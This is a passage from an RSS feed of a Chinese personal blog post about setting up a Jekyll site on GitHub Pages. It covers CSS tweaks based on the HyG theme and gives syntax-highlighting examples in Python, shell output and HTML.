本站的 CSS 样式是基于 &lt;a href=&quot;https://github.com/Gaohaoyang/gaohaoyang.github.io&quot;&gt;HyG&lt;/a&gt; 进行的修改，并参照了 &lt;a href=&quot;http://tom.preston-werner.com/&quot;&gt;mojombo&lt;/a&gt; 的字体和颜色。具体的可以从他们的 GitHub 项目上进行学习，我简要说下自己的修改。

&lt;ul&gt;
  &lt;li&gt;去除了文章标题带的各类标记和分类，采用更简洁的方式列出标题。（这只是修改 HTML 代码）&lt;/li&gt;
  &lt;li&gt;标题前的时间参考了 &lt;a href=&quot;http://tom.preston-werner.com/&quot;&gt;mojombo&lt;/a&gt; 的字体和颜色&lt;/li&gt;
  &lt;li&gt;修改了 _page.scss 的链接和行高，和主页保持一致，还是让页面更简洁&lt;/li&gt;
  &lt;li&gt;修改 _post.scss 相关文章的链接，和主页保持一致&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;44-语法高亮&quot;&gt;4.4 语法高亮&lt;/h3&gt;

博客文章肯定少不了代码，而代码的语法高亮能让文章更加美观，在 Markdown 的语法里面，代码用 两个 「```」 包裹起来，要指定特定的代码语言的话，在第一个 「```」 后面加上语言名称，比如  「``` python」, 如果不加语言名称的话都是以黑底白字显示，也是非常好看。下面是一些语法高亮的例子。

Python codes
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# !/usr/bin/env python3&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# -*- coding: utf-8 -*-&lt;/span&gt;

&lt;span class=&quot;s&quot;&gt;'''a test module'''&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Hello, world!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Hello, &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s!'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Too many arguments!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

shell 字符
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;d:\jekyllWorkspace\6xian.github.io (master)
λ jekyll serve --watch
Configuration file: d:/jekyllWorkspace/6xian.github.io/_config.yml
            Source: d:/jekyllWorkspace/6xian.github.io
       Destination: d:/jekyllWorkspace/6xian.github.io/_site
 Incremental build: disabled. Enable with --incremental
      Generating...
                    done in 3.462 seconds.
  Please add the following to your Gemfile to avoid polling for changes:
    gem 'wdm', '&amp;gt;= 0.1.0' if Gem.win_platform?
 Auto-regeneration: enabled for 'd:/jekyllWorkspace/6xian.github.io'
    Server address: http://127.0.0.1:4000/
  Server running... press ctrl-c to stop.
      Regenerating: 1 file(s) changed at 2017-06-22 19:26:40 ...done in 3.725213 seconds.
      Regenerating: 1 file(s) changed at 2017-06-22 19:28:53 ...done in 3.276188 seconds.
      Regenerating: 1 file(s) changed at 2017-06-22 19:28:57 ...done in 3.836219 seconds.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

html codes
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Welcome!&lt;span class=&quot;nt&quot;&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://6xian.github.io/&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Welcome to 6xian's site.&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

这篇文章就讲完了。最后希望能有朋友关注和喜欢我这个站点，一起讨论和交流，能和大家一起学习进步更是我的荣幸。
</description>
        <pubDate>Sat, 24 Jun 2017 00:00:00 +0000</pubDate>
        <link>https://6xian.github.io/2017/06/24/about-this-site/</link>
        <guid isPermaLink="true">https://6xian.github.io/2017/06/24/about-this-site/</guid>
        
        <category>Blog</category>
        
        <category>GitHub</category>
        
        <category>jekyll</category>
        
        
        <category>Web</category>
        
      </item>
    
  </channel>
</rss>
